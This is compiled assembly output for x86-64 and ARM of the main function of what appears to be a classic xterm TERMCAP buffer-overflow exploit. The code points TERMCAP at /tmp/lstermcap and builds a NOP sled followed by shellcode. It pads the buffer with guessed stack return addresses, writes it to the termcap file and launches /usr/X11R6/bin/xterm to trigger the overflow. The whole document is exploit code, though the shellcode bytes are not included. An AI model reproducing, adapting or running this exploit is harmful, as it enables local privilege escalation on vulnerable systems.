	.file	"extr_19465.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"/tmp/lstermcap"
.LC1:
	.string	"TERMCAP"
.LC2:
	.string	"bufsize: %i\noffset: %i\n"
.LC3:
	.string	"can't allocate enough memory"
.LC4:
	.string	"get_sp(): 0x%x\n"
.LC5:
	.string	"get_sp()-offs: 0x%x\n"
.LC6:
	.string	"%s%s%s"
.LC7:
	.string	"made termcap"
.LC8:
	.string	"xterm"
.LC9:
	.string	"/usr/X11R6/bin/xterm"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r15
	.cfi_def_cfa_offset 16
	.cfi_offset 15, -16
	mov	edx, 1
	push	r14
	.cfi_def_cfa_offset 24
	.cfi_offset 14, -24
	push	r13
	.cfi_def_cfa_offset 32
	.cfi_offset 13, -32
	mov	r13, rsi
	lea	rsi, .LC0[rip]
	push	r12
	.cfi_def_cfa_offset 40
	.cfi_offset 12, -40
	push	rbp
	.cfi_def_cfa_offset 48
	.cfi_offset 6, -48
	push	rbx
	.cfi_def_cfa_offset 56
	.cfi_offset 3, -56
	mov	ebx, edi
	lea	rdi, .LC1[rip]
	sub	rsp, 8
	.cfi_def_cfa_offset 64
	call	setenv@PLT
	cmp	ebx, 2
	jg	.L21
	mov	r12d, DWORD PTR DEFAULT_BUFSIZE[rip]
	mov	ebp, 300
	je	.L3
.L4:
	mov	edx, ebp
	mov	esi, r12d
	lea	rdi, .LC2[rip]
	xor	eax, eax
	call	printf@PLT
	mov	edi, r12d
	call	malloc@PLT
	mov	rbx, rax
	test	rax, rax
	je	.L22
.L5:
	mov	rdi, QWORD PTR entry1[rip]
	call	strlen@PLT
	lea	edi, [rax+r12]
	call	malloc@PLT
	mov	r14, rax
	test	rax, rax
	je	.L23
.L6:
	xor	eax, eax
	lea	r15, 2[rbx]
	call	get_sp@PLT
	lea	rdi, .LC4[rip]
	mov	esi, eax
	xor	eax, eax
	call	printf@PLT
	xor	eax, eax
	call	get_sp@PLT
	lea	rdi, .LC5[rip]
	sub	eax, ebp
	mov	esi, eax
	xor	eax, eax
	call	printf@PLT
	test	r12d, r12d
	jle	.L7
	lea	eax, -1[r12]
	shr	eax, 2
	lea	r13, 10[rbx+rax*8]
	.p2align 4,,10
	.p2align 3
.L8:
	xor	eax, eax
	add	r15, 8
	call	get_sp@PLT
	sub	eax, ebp
	cdqe
	mov	QWORD PTR -8[r15], rax
	cmp	r15, r13
	jne	.L8
	mov	edx, r12d
	shr	edx, 31
	add	edx, r12d
	sar	edx
	mov	r13d, edx
	cmp	r12d, 1
	jle	.L11
	xor	eax, eax
	.p2align 4,,10
	.p2align 3
.L10:
	mov	BYTE PTR [rbx+rax], -112
	add	rax, 1
	cmp	edx, eax
	jg	.L10
.L11:
	mov	rdi, QWORD PTR shellcode[rip]
	xor	ebp, ebp
	call	strlen@PLT
	mov	edx, eax
	shr	edx, 31
	add	eax, edx
	sar	eax
	sub	r13d, eax
	movsx	r13, r13d
	add	r13, rbx
	jmp	.L12
	.p2align 4,,10
	.p2align 3
.L13:
	mov	rax, QWORD PTR shellcode[rip]
	add	r13, 1
	movzx	eax, BYTE PTR [rax+rbp]
	add	rbp, 1
	mov	BYTE PTR -1[r13], al
.L12:
	mov	rdi, QWORD PTR shellcode[rip]
	call	strlen@PLT
	cmp	eax, ebp
	jg	.L13
	mov	eax, 23610
	mov	WORD PTR 24[r13], ax
	mov	r13, QWORD PTR entry1[rip]
	mov	rdi, r13
	call	strlen@PLT
	mov	r8, rbx
	mov	rcx, r13
	mov	rdi, r14
	lea	esi, [rax+r12]
	lea	rdx, .LC6[rip]
	call	snprintf@PLT
	mov	edi, DWORD PTR filename[rip]
	mov	edx, 438
	mov	esi, DWORD PTR O_WRONLY[rip]
	or	esi, DWORD PTR O_CREAT[rip]
	or	esi, DWORD PTR O_TRUNC[rip]
	call	open@PLT
	mov	rdi, r14
	mov	ebp, eax
	call	strlen@PLT
	mov	rsi, r14
	mov	edi, ebp
	mov	edx, eax
	call	write@PLT
	mov	edi, ebp
	call	close@PLT
	lea	rdi, .LC7[rip]
	call	puts@PLT
	xor	edx, edx
	lea	rsi, .LC8[rip]
	lea	rdi, .LC9[rip]
	call	execl@PLT
	add	rsp, 8
	.cfi_remember_state
	.cfi_def_cfa_offset 56
	xor	eax, eax
	pop	rbx
	.cfi_def_cfa_offset 48
	pop	rbp
	.cfi_def_cfa_offset 40
	pop	r12
	.cfi_def_cfa_offset 32
	pop	r13
	.cfi_def_cfa_offset 24
	pop	r14
	.cfi_def_cfa_offset 16
	pop	r15
	.cfi_def_cfa_offset 8
	ret
.L21:
	.cfi_restore_state
	mov	rdi, QWORD PTR 16[r13]
	call	atoi@PLT
	mov	r12d, eax
.L3:
	mov	rdi, QWORD PTR 8[r13]
	call	atoi@PLT
	mov	ebp, eax
	jmp	.L4
.L23:
	lea	rdi, .LC3[rip]
	call	puts@PLT
	xor	edi, edi
	call	exit@PLT
	jmp	.L6
.L22:
	lea	rdi, .LC3[rip]
	call	puts@PLT
	xor	edi, edi
	call	exit@PLT
	jmp	.L5
.L7:
	mov	eax, r12d
	mov	ecx, 2
	cdq
	idiv	ecx
	mov	r13d, eax
	jmp	.L11
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	shellcode,8,8
	.comm	filename,4,4
	.comm	entry1,8,8
	.comm	O_WRONLY,4,4
	.comm	O_TRUNC,4,4
	.comm	O_CREAT,4,4
	.comm	DEFAULT_BUFSIZE,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_19465.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"/tmp/lstermcap\000"
	.align	2
.LC1:
	.ascii	"TERMCAP\000"
	.align	2
.LC2:
	.ascii	"bufsize: %i\012offset: %i\012\000"
	.align	2
.LC3:
	.ascii	"can't allocate enough memory\000"
	.align	2
.LC4:
	.ascii	"get_sp(): 0x%x\012\000"
	.align	2
.LC5:
	.ascii	"get_sp()-offs: 0x%x\012\000"
	.align	2
.LC6:
	.ascii	"%s%s%s\000"
	.align	2
.LC7:
	.ascii	"made termcap\000"
	.align	2
.LC8:
	.ascii	"xterm\000"
	.align	2
.LC9:
	.ascii	"/usr/X11R6/bin/xterm\000"
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, r10, lr}
	mov	r4, r0
	mov	r6, r1
	mov	r2, #1
	ldr	r1, .L30
	ldr	r0, .L30+4
	sub	sp, sp, #8
	bl	setenv
	cmp	r4, #2
	bgt	.L26
	ldr	r3, .L30+8
	movne	r10, #300
	ldr	r5, [r3]
	beq	.L3
.L4:
	mov	r2, r10
	mov	r1, r5
	ldr	r0, .L30+12
	bl	printf
	mov	r0, r5
	bl	malloc
	subs	r4, r0, #0
	beq	.L27
.L5:
	ldr	r7, .L30+16
	ldr	r0, [r7]
	bl	strlen
	add	r0, r0, r5
	bl	malloc
	subs	r6, r0, #0
	beq	.L28
.L6:
	bl	get_sp
	mov	r1, r0
	ldr	r0, .L30+20
	bl	printf
	bl	get_sp
	mov	r1, r0
	ldr	r0, .L30+24
	sub	r1, r1, r10
	bl	printf
	cmp	r5, #0
	subgt	r9, r5, #1
	bicgt	r9, r9, #3
	addgt	r9, r9, #6
	add	r8, r4, #2
	addgt	r9, r4, r9
	ble	.L29
.L11:
	bl	get_sp
	mov	r3, r8
	add	r8, r8, #4
	sub	r0, r0, r10
	cmp	r8, r9
	str	r0, [r3]
	bne	.L11
	cmp	r5, #1
	add	r9, r5, r5, lsr #31
	mvngt	r1, #111
	asr	r9, r9, #1
	subgt	r2, r4, #1
	ble	.L15
.L14:
	add	r3, r2, #2
	sub	r3, r3, r4
	cmp	r3, r9
	strb	r1, [r2, #1]!
	blt	.L14
.L15:
	ldr	r3, .L30+28
	mov	r8, #0
	ldr	r10, [r3]
	mov	r0, r10
	bl	strlen
	add	r3, r0, r0, lsr #31
	sub	r9, r9, r3, asr #1
	add	r9, r4, r9
	b	.L13
.L16:
	ldrb	r3, [r10, r8]	@ zero_extendqisi2
	mov	r0, r10
	strb	r3, [r9], #1
	bl	strlen
	add	r8, r8, #1
.L13:
	cmp	r8, r0
	blt	.L16
	mov	r2, #58
	mov	r3, #92
	ldr	r7, [r7]
	strb	r2, [r9, #24]
	strb	r3, [r9, #25]
	mov	r0, r7
	bl	strlen
	mov	r3, r7
	add	r1, r0, r5
	str	r4, [sp]
	mov	r0, r6
	ldr	r2, .L30+32
	bl	snprintf
	ldr	r1, .L30+36
	ldr	r3, .L30+40
	ldr	r2, .L30+44
	ldr	r0, [r1]
	ldr	r3, [r3]
	ldr	r1, [r2]
	ldr	r2, .L30+48
	orr	r3, r3, r0
	orr	r1, r3, r1
	ldr	r0, [r2]
	ldr	r2, .L30+52
	bl	open
	mov	r4, r0
	mov	r0, r6
	bl	strlen
	mov	r1, r6
	mov	r2, r0
	mov	r0, r4
	bl	write
	mov	r0, r4
	bl	close
	ldr	r0, .L30+56
	bl	puts
	mov	r2, #0
	ldr	r1, .L30+60
	ldr	r0, .L30+64
	bl	execl
	mov	r0, #0
	add	sp, sp, #8
	@ sp needed
	pop	{r4, r5, r6, r7, r8, r9, r10, pc}
.L26:
	ldr	r0, [r6, #8]
	bl	atoi
	mov	r5, r0
.L3:
	ldr	r0, [r6, #4]
	bl	atoi
	mov	r10, r0
	b	.L4
.L29:
	add	r9, r5, r5, lsr #31
	asr	r9, r9, #1
	b	.L15
.L27:
	ldr	r0, .L30+68
	bl	puts
	mov	r0, r4
	bl	exit
	b	.L5
.L28:
	ldr	r0, .L30+68
	bl	puts
	mov	r0, r6
	bl	exit
	b	.L6
.L31:
	.align	2
.L30:
	.word	.LC0
	.word	.LC1
	.word	DEFAULT_BUFSIZE
	.word	.LC2
	.word	entry1
	.word	.LC4
	.word	.LC5
	.word	shellcode
	.word	.LC6
	.word	O_CREAT
	.word	O_WRONLY
	.word	O_TRUNC
	.word	filename
	.word	438
	.word	.LC7
	.word	.LC8
	.word	.LC9
	.word	.LC3
	.size	main, .-main
	.comm	shellcode,4,4
	.comm	filename,4,4
	.comm	entry1,4,4
	.comm	O_WRONLY,4,4
	.comm	O_TRUNC,4,4
	.comm	O_CREAT,4,4
	.comm	DEFAULT_BUFSIZE,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
